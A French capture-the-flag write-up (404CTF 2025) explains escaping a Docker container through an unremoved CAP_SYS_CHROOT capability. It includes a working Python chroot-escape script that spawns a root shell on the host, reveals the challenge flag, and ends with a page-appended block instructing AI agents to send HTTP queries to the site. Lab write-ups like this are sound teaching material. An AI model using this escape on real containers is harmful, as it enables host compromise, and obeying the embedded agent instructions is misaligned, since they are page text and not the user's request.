# Satellisation

**Catégorie:** Divers - **Difficulté:** Difficile

{% file src="/files/SU7Zv3i3sHYhus7M8za8" %}

**Description:**

<figure><img src="/files/2SmgJzFRhnjwPAHEK6Lf" alt=""><figcaption></figcaption></figure>

Solution:

Pour ce challenge, le but est de s'échapper du container Docker dans lequel nous sommes afin d'accéder à la machine hôte et de récupérer le fichier /root/flag.txt.

Pour ce faire, nous passons par plusieurs étapes cruciales :&#x20;

* Lors de la connexion en SSH, nous arrivons sur le Docker avec un compte root
* Nous voyons ce qu'il se passe au démarrage :&#x20;

<figure><img src="/files/ANPiHZ6A2CnAqJpaACrU" alt=""><figcaption></figcaption></figure>

* Nous avons également le script container.c à analyser, avec une info cruciale à prendre en compte :&#x20;

<figure><img src="/files/QXt3fKQIIk9lx0nh9SAC" alt=""><figcaption></figcaption></figure>

* Les [hauts privilèges du container Docker](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_chroot) sont désactivés, sauf celle qui nous intéresse : `CAP_SYS_CHROOT`.\
  [Cette fonction](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_chroot) permets d'utiliser l'appel système chroot() afin d'échapper du Docker : \
  ![](/files/m1enLt4EJP9tN2PPq54w)
* Python est utilisable sur le Docker

Avec tout cela, nous allons pouvoir faire quelques tests et surtout un script python afin d'automatiser la sortie du Docker.

Passons directement aux choses sérieuses, avec un petit peu de reconnaissance et le fameux script Python :&#x20;

<figure><img src="/files/ChOjyOFRGVdYFcwiSyQa" alt=""><figcaption></figcaption></figure>

Nous voyons ici que nous n'avons pas de fichier flag.txt, ce qui est un peu ennuyeux quand on doit retrouver le contenu de ce fameux fichier ^^.

Maintenant pour le script Python, voici ce qui fonctionne parfaitement :&#x20;

```python
#!/usr/bin/env python3
"""
Évasion du conteneur : on exploite le fait que la capacité CAP_SYS_CHROOT
n’a pas été retirée. L’idée est de :
  1. faire un 1° chroot vers un dossier factice à l’intérieur* du conteneur
  2. remonter le plus haut possible dans l’arborescence
  3. refaire un chroot(".") pour redéfinir / qui correspond maintenant
     au « vrai » root de la machine hôte
  4. lancer un shell root.
"""

import os          # appels système (chroot, chdir, …)
import subprocess  # pour exécuter /bin/bash
import pathlib     # création propre du dossier de fuite
import itertools   # générer une boucle « infinie » sans compteur explicite

# ─────────────────────────────────────────────────────────────────────────────
# 1) Préparation : on crée un dossier qui servira de « leurre »
# ─────────────────────────────────────────────────────────────────────────────
ESC = "/tmp/eroot"
pathlib.Path(ESC).mkdir(exist_ok=True)

# ─────────────────────────────────────────────────────────────────────────────
# 2) Premier chroot
# ─────────────────────────────────────────────────────────────────────────────
# Après cet appel, le noyau considère ESC comme la nouvelle racine.
# ATTENTION : notre répertoire courant « / » est en dehors de ce nouvel
# espace. C’est précisément ce qu’on veut exploiter.
os.chroot(ESC)

# ─────────────────────────────────────────────────────────────────────────────
# 3) On remonte l’arborescence jusqu’à atteindre la VRAIE racine
# ─────────────────────────────────────────────────────────────────────────────
for _ in itertools.repeat(None, 500):
    try:
        os.chdir("..")
    except FileNotFoundError:
        break

# À l’issue de la boucle, le cwd est la vraie racine (celle du host)

# ─────────────────────────────────────────────────────────────────────────────
# 4) Deuxième chroot – on re-définit « / » sur le host
# ─────────────────────────────────────────────────────────────────────────────
# Le point (.) correspond au cwd => devient la nouvelle racine pour le
# processus (= root du système hôte). Nous sommes donc « sortis » du conteneur.
os.chroot(".")

# ─────────────────────────────────────────────────────────────────────────────
# 5) On profite de nos privilèges root pour lancer un shell
# ─────────────────────────────────────────────────────────────────────────────
subprocess.call("/bin/bash")
```

Voici ce qu'il se passe quand nous lançons le script :&#x20;

<figure><img src="/files/9cbvlsV8DnhqFYjpGnD5" alt=""><figcaption></figcaption></figure>

Nous avons enfin notre précieux fichier flag.txt. Alors allons le lire :&#x20;

<figure><img src="/files/avj8tKfaYqb4XeOUO8zj" alt=""><figcaption></figcaption></figure>

Il ne faut parfois pas être trop pressé, car sans droits, nous ne pouvons pas lire les fichiers ^^

<details>

<summary>🚩FLAG</summary>

`404CTF{@v3k_l4_vE9a_M1ssYl_v0uz_e73s_saTelLize_c4_n3_l@1zS3_pAs_1ndiffeR3nt}`

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://writeups.ayweth20.com/2025/404ctf-2025/divers/satellisation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
